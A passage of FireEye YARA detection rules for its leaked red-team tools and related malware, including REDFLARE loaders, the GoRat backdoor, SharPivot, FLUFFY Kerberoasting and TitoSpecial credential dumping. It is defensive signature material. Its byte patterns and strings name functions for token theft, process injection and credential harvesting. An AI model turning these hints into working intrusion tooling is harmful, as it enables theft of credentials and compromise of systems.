?? ?? FF D0 83 EC 08 C7 45 ?? 00 00 00 00 8B 55 ?? 8B 85 ?? ?? ?? ?? 39 C2 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 73 ?? 8B 45 ?? 8B 00 8B 55 ?? 81 C2 00 10 00 00 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 8B 4D ?? 8B 55 ?? 01 CA 39 D0 0F 83 ?? ?? ?? ?? B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 ?? ?? ?? ?? 83 C0 04 39 D0 72 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 1C 00 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 0C 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 30 14 D4 63 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 90 EB ?? 90 83 45 ?? 04 E9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 C2 8B 45 ?? 01 D0 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 01 D0 89 45 ?? C7 44 24 ?? 30 14 D4 63 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 01 00 00 00 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 01 EB ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 83 E8 01 85 C0 74 ?? 83 E8 01 0F 0B 89 95 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 }

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and any of them
}

rule APT_Loader_Win32_REDFLARE_2
{
	meta:
		date = "2020-11-27"
		modified = "2020-11-27"
		md5 = "4e7e90c7147ee8aa01275894734f4492"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "6a585401-bfd3-5aad-b484-09b6a30d9af5"

	strings:
		$inject = { 83 F8 01 [4-50] 6A 00 6A 00 68 04 00 00 08 6A 00 6A 00 6A 00 6A 00 5? [10-70] FF 15 [4] 85 C0 [1-20] 6A 04 68 00 10 00 00 5? 6A 00 5? [1-10] FF 15 [4-8] 85 C0 [1-20] 5? 5? 5? 8B [1-4] 5? 5? FF 15 [4] 85 C0 [1-20] 6A 20 [4-20] FF 15 [4] 85 C0 [1-40] 01 00 01 00 [2-20] FF 15 [4] 85 C0 [1-30] FF 15 [4] 85 C0 [1-20] FF 15 [4] 83 F8 FF }
		$s1 = "ResumeThread"

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them
}

rule APT_HackTool_MSIL_SHARPSTOMP_2
{
	meta:
		date = "2020-12-02"
		modified = "2020-12-02"
		md5 = "83ed748cd94576700268d35666bf3e01"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "d1a3477d-55c6-5c33-bd65-5b1e0d65f24b"

	strings:
		$f0 = "mscoree.dll" fullword nocase
		$s0 = { 06 72 [4] 6F [4] 2C ?? 06 72 [4] 6F [4] 2D ?? 72 [4] 28 [4] 28 [4] 2A }
		$s1 = { 02 28 [4] 0A 02 28 [4] 0B 02 28 [4] 0C 72 [4] 28 [4] 72 }
		$s2 = { 28 [4] 02 28 [4] 0D 12 ?? 03 6C 28 [4] 28 [4] 02 28 [4] 0D 12 ?? 03 6C 28 [4] 28 [4] 02 28 [4] 0D 12 ?? 03 6C 28 [4] 28 [4] 72 }
		$s3 = "SetCreationTime" fullword
		$s4 = "GetLastAccessTime" fullword
		$s5 = "SetLastAccessTime" fullword

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule Loader_MSIL_NetshShellCodeRunner_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'NetshShellCodeRunner' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "b3521812-7ea3-5f80-89bd-3bdd71b687f2"

	strings:
		$typelibguid0 = "49c045bc-59bb-4a00-85c3-4beb59b2ee12" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HackTool_MSIL_SharPivot_4
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the SharPivot project."
		md5 = "e4efa759d425e2f26fbc29943a30f5bd"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "c1bd64da-6a54-5bc6-8a89-9c8a93dd965c"

	strings:
		$typelibguid1 = "44B83A69-349F-4A3E-8328-A45132A70D62" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1
}

rule APT_Backdoor_Win_GoRat_Memory
{
	meta:
		description = "Identifies GoRat malware in memory based on strings."
		md5 = "3b926b5762e13ceec7ac3a61e85c93bb"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "4fcdd98f-1873-58e1-a9f5-73ee0aa5a69f"

	strings:
		$rat1 = "rat/modules/socks.(*HTTPProxyClient).beacon" fullword
		$rat2 = "rat.(*Core).generateBeacon" fullword
		$rat3 = "rat.gJitter" fullword
		$rat4 = "rat/comms.(*protectedChannel).SendCmdResponse" fullword
		$rat5 = "rat/modules/filemgmt.(*acquire).NewCommandExecution" fullword
		$rat6 = "rat/modules/latlisten.(*latlistensrv).handleCmd" fullword
		$rat7 = "rat/modules/netsweeper.(*netsweeperRunner).runSweep" fullword
		$rat8 = "rat/modules/netsweeper.(*Pinger).listen" fullword
		$rat9 = "rat/modules/socks.(*HTTPProxyClient).beacon" fullword
		$rat10 = "rat/platforms/win/dyloader.(*memoryLoader).ExecutePluginFunction" fullword
		$rat11 = "rat/platforms/win/modules/namedpipe.(*dummy).Open" fullword
		$winblows = "rat/platforms/win.(*winblows).GetStage" fullword

	condition:
		$winblows or 3 of ( $rat* )
}

rule Loader_MSIL_AllTheThings_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'AllTheThings' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "1805b406-2531-56bf-8e08-e63a59ffcc84"

	strings:
		$typelibguid0 = "542ccc64-c4c3-4c03-abcd-199a11b26754" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule APT_Loader_Win64_PGF_1
{
	meta:
		date = "2020-11-25"
		modified = "2020-11-25"
		description = "base dlls: /lib/payload/techniques/unmanaged_exports/"
		md5 = "2b686a8b83f8e1d8b455976ae70dab6e"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "1f2280c0-0fdd-5930-947a-931274bccd6f"

	strings:
		$sb1 = { B9 14 00 00 00 FF 15 [4-32] 0F B6 ?? 04 [0-32] F3 A4 [0-64] 0F B6 [2-3] 0F B6 [2-3] 33 [0-32] 88 [1-9] EB }
		$sb2 = { 41 B8 00 30 00 00 [0-32] FF 15 [8-64] 83 ?? 01 [4-80] 0F B6 [1-64] 33 [1-32] 88 [1-64] FF ( D? | 5? ) }
		$sb3 = { 48 89 4C 24 08 [4-64] 48 63 48 3C [0-32] 48 03 C1 [0-64] 0F B7 48 14 [0-64] 48 8D 44 08 18 [8-64] 0F B7 40 06 [2-32] 48 6B C0 28 }

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them
}

rule APT_Trojan_Win_REDFLARE_5
{
	meta:
		date = "2020-12-01"
		modified = "2020-12-01"
		md5 = "dfbb1b988c239ade4c23856e42d4127b, 3322fba40c4de7e3de0fda1123b0bf5d"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "892981d6-f310-5ee8-95b5-dd4bd720a86c"

	strings:
		$s1 = "AdjustTokenPrivileges" fullword
		$s2 = "LookupPrivilegeValueW" fullword
		$s3 = "ImpersonateLoggedOnUser" fullword
		$s4 = "runCommand" fullword
		$steal_token = { FF 15 [4] 85 C0 [1-40] C7 44 24 ?? 01 00 00 00 [0-20] C7 44 24 ?? 02 00 00 00 [0-20] FF 15 [4] FF [1-5] 85 C0 [4-40] 00 04 00 00 FF 15 [4-5] 85 C0 [2-20] ( BA 0F 00 00 00 | 6A 0F ) [1-4] FF 15 [4] 85 C0 74 [1-20] FF 15 [4] 85 C0 74 [1-20] ( 6A 0B | B9 0B 00 00 00 ) E8 }

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule CredTheft_MSIL_TitoSpecial_1
{
	meta:
		description = "This rule looks for .NET PE files that have the strings of various method names in the TitoSpecial code."
		md5 = "4bf96a7040a683bd34c618431e571e26"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "932bb013-03de-5cf7-89e9-b3232151d303"

	strings:
		$str1 = "Minidump" ascii wide
		$str2 = "dumpType" ascii wide
		$str3 = "WriteProcessMemory" ascii wide
		$str4 = "bInheritHandle" ascii wide
		$str5 = "GetProcessById" ascii wide
		$str6 = "SafeHandle" ascii wide
		$str7 = "BeginInvoke" ascii wide
		$str8 = "EndInvoke" ascii wide
		$str9 = "ConsoleApplication1" ascii wide
		$str10 = "getOSInfo" ascii wide
		$str11 = "OpenProcess" ascii wide
		$str12 = "LoadLibrary" ascii wide
		$str13 = "GetProcAddress" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of ( $str* )
}

rule Builder_MSIL_G2JS_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the Gadget2JScript project."
		md5 = "fa255fdc88ab656ad9bc383f9b322a76"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "484202c2-ac7d-5e6c-8bf1-3452a357c668"

	strings:
		$typelibguid1 = "AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1
}

rule APT_Loader_Win32_DShell_2
{
	meta:
		date = "2020-11-27"
		modified = "2020-11-27"
		md5 = "590d98bb74879b52b97d8a158af912af"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "ae34d547-d979-5ce2-bcf8-a5b4e4567de3"

	strings:
		$sb1 = { 6A 40 68 00 30 00 00 [4-32] E8 [4-8] 50 [0-16] E8 [4-150] 6A FF [1-32] 6A 00 6A 00 5? 6A 00 6A 00 [0-32] E8 [4] 50 }
		$ss1 = "\x00CreateThread\x00"
		$ss2 = "base64.d" fullword
		$ss3 = "core.sys.windows" fullword
		$ss4 = "C:\\Users\\config.ini" fullword
		$ss5 = "Invalid config file" fullword

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them
}

rule HackTool_MSIL_SharPivot_3
{
	meta:
		description = "This rule looks for .NET PE files that have the strings of various method names in the SharPivot code."
		md5 = "e4efa759d425e2f26fbc29943a30f5bd"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "956ba026-c2fa-55fd-be53-0cfaa345f27a"

	strings:
		$msil = "_CorExeMain" ascii wide
		$str1 = "SharPivot" ascii wide
		$str2 = "ParseArgs" ascii wide
		$str3 = "GenRandomString" ascii wide
		$str4 = "ScheduledTaskExists" ascii wide
		$str5 = "ServiceExists" ascii wide
		$str6 = "lpPassword" ascii wide
		$str7 = "execute" ascii wide
		$str8 = "WinRM" ascii wide
		$str9 = "SchtaskMod" ascii wide
		$str10 = "PoisonHandler" ascii wide
		$str11 = "SCShell" ascii wide
		$str12 = "SchtaskMod" ascii wide
		$str13 = "ServiceHijack" ascii wide
		$str14 = "ServiceHijack" ascii wide
		$str15 = "commandArg" ascii wide
		$str16 = "payloadPath" ascii wide
		$str17 = "Schtask" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $msil and all of ( $str* )
}

rule APT_HackTool_MSIL_FLUFFY_2
{
	meta:
		date = "2020-12-04"
		modified = "2020-12-04"
		md5 = "11b5aceb428c3e8c61ed24a8ca50553e"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "ce39710e-7649-5f7d-bbbe-65dc30f678e8"

	strings:
		$s1 = "\x00Asktgt\x00"
		$s2 = "\x00Kerberoast\x00"
		$s3 = "\x00HarvestCommand\x00"
		$s4 = "\x00EnumerateTickets\x00"
		$s5 = "[*] Action: " wide
		$s6 = "\x00Fluffy.Commands\x00"

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule APT_HackTool_MSIL_FLUFFY_1
{
	meta:
		date = "2020-12-04"
		modified = "2020-12-04"
		md5 = "11b5aceb428c3e8c61ed24a8ca50553e"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "6593202d-9b30-59ed-98c0-3e730fb5ceb7"

	strings:
		$sb1 = { 0E ?? 1? 72 [4] 28 [2] 00 06 [0-16] 28 [2] 00 0A [2-80] 1F 58 0? [0-32] 28 [2] 00 06 [2-32] 1? 28 [2] 00 06 0? 0? 6F [2] 00 06 [2-4] 1F 0B }
		$sb2 = { 73 [2] 00 06 13 ?? 11 ?? 11 ?? 7D [2] 00 04 11 ?? 73 [2] 00 0A 7D [2] 00 04 0E ?? 2D ?? 11 ?? 7B [2] 00 04 72 [4] 28 [2] 00 0A [2-32] 0? 28 [2] 00 0A [2-16] 11 ?? 7B [2] 00 04 0? 28 [2] 00 0A 1? 28 [2] 00 0A [2-32] 7E [2] 00 0A [0-32] FE 15 [2] 00 02 [0-16] 7D [2] 00 04 28 [2] 00 06 [2-32] 7B [2] 00 04 7D [2] 00 04 [2-32] 7C [2] 00 04 FE 15 [2] 00 02 [0-16] 11 ?? 8C [2] 00 02 28 [2] 00 0A 28 [2] 00 0A [2-80] 8C [2] 00 02 28 [2] 00 0A 12 ?? 12 ?? 12 ?? 28 [2] 00 06 }
		$ss1 = "\x00Fluffy\x00"

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HackTool_MSIL_SEATBELT_1
{
	meta:
		description = "This rule looks for .NET PE files that have regex and format strings found in the public tool SeatBelt. Due to the nature of the regex and format strings used for detection, this rule should detect custom variants of the SeatBelt project."
		md5 = "848837b83865f3854801be1f25cb9f4d"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		date = "2020-12-08"
		modified = "2023-01-27"
		id = "cfd730ac-1eec-5e04-b871-c14912bc0425"

	strings:
		$msil = "_CorExeMain" ascii wide
		$str1 = "{ Process = {0}, Path = {1}, CommandLine = {2} }" ascii nocase wide
		$str2 = "Domain=\"(.*)\",Name=\"(.*)\"" ascii nocase wide
		$str3 = "LogonId=\"(\\d+)\"" ascii nocase wide
		$str4 = "{0}.{1}.{2}.{3}" ascii nocase wide
		$str5 = "^\\W*([a-z]:\\\\.+?(\\.exe|\\.dll|\\.sys))\\W*" ascii nocase wide
		$str6 = "*[System/EventID={0}]" ascii nocase wide
		$str7 = "*[System[TimeCreated[@SystemTime >= '{" ascii nocase wide
		$str8 = "(http|ftp|https|file)://([\\w_-]+(?:(?:\\.[\\w_-]+)+))([\\w.,@?^=%&:/~+#-]*[\\w@?^=%&/~+#-])?" ascii nocase wide
		$str10 = "{0,-23}" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $msil and all of ( $str* )
}

rule HackTool_MSIL_INVEIGHZERO_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'inveighzero' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "f46fe365-ea50-5597-828e-61a7225e4c6e"

	strings:
		$typelibguid0 = "113ae281-d1e5-42e7-9cc2-12d30757baf1" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule Loader_MSIL_RURALBISHOP_1
{
	meta:
		date = "2020-12-03"
		modified = "2020-12-03"
		md5 = "e91670423930cbbd3dbf5eac1f1a7cb6"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "1b5f1f39-9fa2-5940-8da3-03808e4b7a5d"

	strings:
		$sb1 = { 28 [2] 00 06 0A 06 7B [2] 00 04 [12-64] 06 7B [2] 00 04 6E 28 [2] 00 06 0B 07 7B [2] 00 04 [12-64] 0? 7B [2] 00 04 0? 7B [2] 00 04 0? 7B [2] 00 04 6E 28 [2] 00 06 0? 0? 7B [2] 00 04 [12-80] 0? 7B [2] 00 04 1? 0? 7B [2] 00 04 }
		$sb2 = { 0F ?? 7C [2] 00 04 28 [2] 00 0A 8C [2] 00 01 [20-80] 28 [2] 00 06 0? 0? 7E [2] 00 0A 28 [2] 00 0A [12-80] 7E [2] 00 0A 13 ?? 0? 7B [2] 00 04 28 [2] 00 0A 0? 28 [2] 00 0A 58 28 [2] 00 0A 13 [1-32] 28 [2] 00 0A [0-32] D0 [2] 00 02 28 [2] 00 0A 28 [2] 00 0A 74 [2] 00 02 }
		$ss1 = "\x00NtMapViewOfSection\x00"
		$ss2 = "\x00NtOpenProcess\x00"
		$ss3 = "\x00NtAlertResumeThread\x00"
		$ss4 = "\x00LdrGetProcedureAddress\x00"
		$tb1 = "\x00SharpSploit.Execution.DynamicInvoke\x00"

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( @sb1 [ 1 ] < @sb2 [ 1 ] ) and ( all of ( $ss* ) ) and ( all of ( $tb* ) )
}

rule Loader_MSIL_RURALBISHOP_2
{
	meta:
		date = "2020-12-03"
		modified = "2020-12-03"
		md5 = "e91670423930cbbd3dbf5eac1f1a7cb6"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "3befb3f2-81d1-5db2-84d9-773158b9837c"

	strings:
		$ss1 = "\x00NtMapViewOfSection\x00"
		$ss2 = "\x00NtOpenProcess\x00"
		$ss3 = "\x00NtAlertResumeThread\x00"
		$ss4 = "\x00LdrGetProcedureAddress\x00"
		$ss5 = "\x2f(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00i\x00|\x00I\x00n\x00j\x00e\x00c\x00t\x00)\x00$\x00"
		$ss6 = "\x2d(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00c\x00|\x00C\x00l\x00e\x00a\x00n\x00)\x00$\x00"
		$tb1 = "\x00SharpSploit.Execution.DynamicInvoke\x00"

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HackTool_MSIL_PrepShellcode_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'PrepShellcode' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "32fb6b1d-e01f-5555-8516-088dca2166cf"

	strings:
		$typelibguid0 = "d16ed275-70d5-4ae5-8ce7-d249f967616c" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule APT_Downloader_Win32_REDFLARE_1
{
	meta:
		date = "2020-11-27"
		modified = "2020-11-27"
		md5 = "05b99d438dac63a5a993cea37c036673"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "e8d7ee31-568e-58ac-98ad-49baa2eb37ea"

	strings:
		$const = "Cookie: SID1=%s" fullword
		$http_req = { 00 00 08 80 81 3D [4] BB 01 00 00 75 [1-10] 00 00 80 00 [1-4] 00 10 00 00 [1-4] 00 20 00 00 89 [1-10] 6A 00 8B [1-8] 5? 6A 00 6A 00 6A 00 8B [1-8] 5? 68 [4] 8B [1-8] 5? FF 15 [4-40] 6A 14 E8 }

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them
}

rule Loader_MSIL_WMIRunner_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WMIRunner' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "04c6acfc-859f-5e4a-8c59-9adf08f21657"

	strings:
		$typelibguid0 = "6cc61995-9fd5-4649-b3cc-6f001d60ceda" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HackTool_MSIL_SharpStomp_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the SharpStomp project."
		md5 = "83ed748cd94576700268d35666bf3e01"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "e113c221-fabe-5af4-b763-463c4f86288d"

	strings:
		$typelibguid1 = "41f35e79-2034-496a-8c82-86443164ada2" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1
}

rule Tool_MSIL_SharpGrep_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharpGrep' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "c7569d33-f57d-5f9c-aa2a-78866c680b5b"

	strings:
		$typelibguid0 = "f65d75b5-a2a6-488f-b745-e67fc075f445" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule Dropper_HTA_WildChild_1
{
	meta:
		description = "This rule looks for strings present in unobfuscated HTAs generated by the WildChild builder."
		md5 = "3e61ca5057633459e96897f79970a46d"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "f570baa5-7d58-5a0a-b713-769e62076f76"

	strings:
		$s1 = "processpath" ascii wide
		$s2 = "v4.0.30319" ascii wide
		$s3 = "v2.0.50727" ascii wide
		$s4 = "COMPLUS_Version" ascii wide
		$s5 = "FromBase64Transform" ascii wide
		$s6 = "MemoryStream" ascii wide
		$s7 = "entry_class" ascii wide
		$s8 = "DynamicInvoke" ascii wide
		$s9 = "Sendoff" ascii wide
		$script_header = "<script language=" ascii wide

	condition:
		$script_header at 0 and all of ( $s* )
}

rule APT_Builder_PY_REDFLARE_2
{
	meta:
		date = "2020-12-01"
		modified = "2020-12-01"
		md5 = "4410e95de247d7f1ab649aa640ee86fb"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "74c56ee1-734e-5fdb-beee-6345a5993f68"

	strings:
		$s1 = "<510sxxII"
		$s2 = "0x43,0x00,0x3a,0x00,0x5c,0x00,0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,"
		$s3 = "parsePluginOutput"

	condition:
		all of them and #s2 == 2
}

rule APT_Loader_Win32_DShell_3
{
	meta:
		date = "2020-11-27"
		modified = "2020-11-27"
		md5 = "12c3566761495b8353f67298f15b882c"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "6b6fccef-ac93-5f1b-b9b6-c2d3ee4d8da7"

	strings:
		$sb1 = { 6A 40 68 00 30 00 00 [4-32] E8 [4-8] 50 [0-16] E8 [4-150] 6A FF [1-32] 6A 00 6A 00 5? 6A 00 6A 00 [0-32] E8 [4] 50 }
		$ss1 = "\x00CreateThread\x00"
		$ss2 = "base64.d" fullword
		$ss3 = "core.sys.windows" fullword

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them
}

rule APT_Trojan_Linux_REDFLARE_1
{
	meta:
		date = "2020-12-02"
		modified = "2020-12-02"
		md5 = "79259451ff47b864d71fb3f94b1774f3, 82773afa0860d668d7fe40e3f22b0f3e"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "220302bc-4ed3-5e10-9bd2-a8ed2bdaef73"

	strings:
		$s1 = "find_applet_by_name" fullword
		$s2 = "bb_basename" fullword
		$s3 = "hk_printf_chk" fullword
		$s4 = "runCommand" fullword
		$s5 = "initialize" fullword

	condition:
		( uint32( 0 ) == 0x464c457f ) and all of them
}

rule Loader_MSIL_WildChild_1
{
	meta:
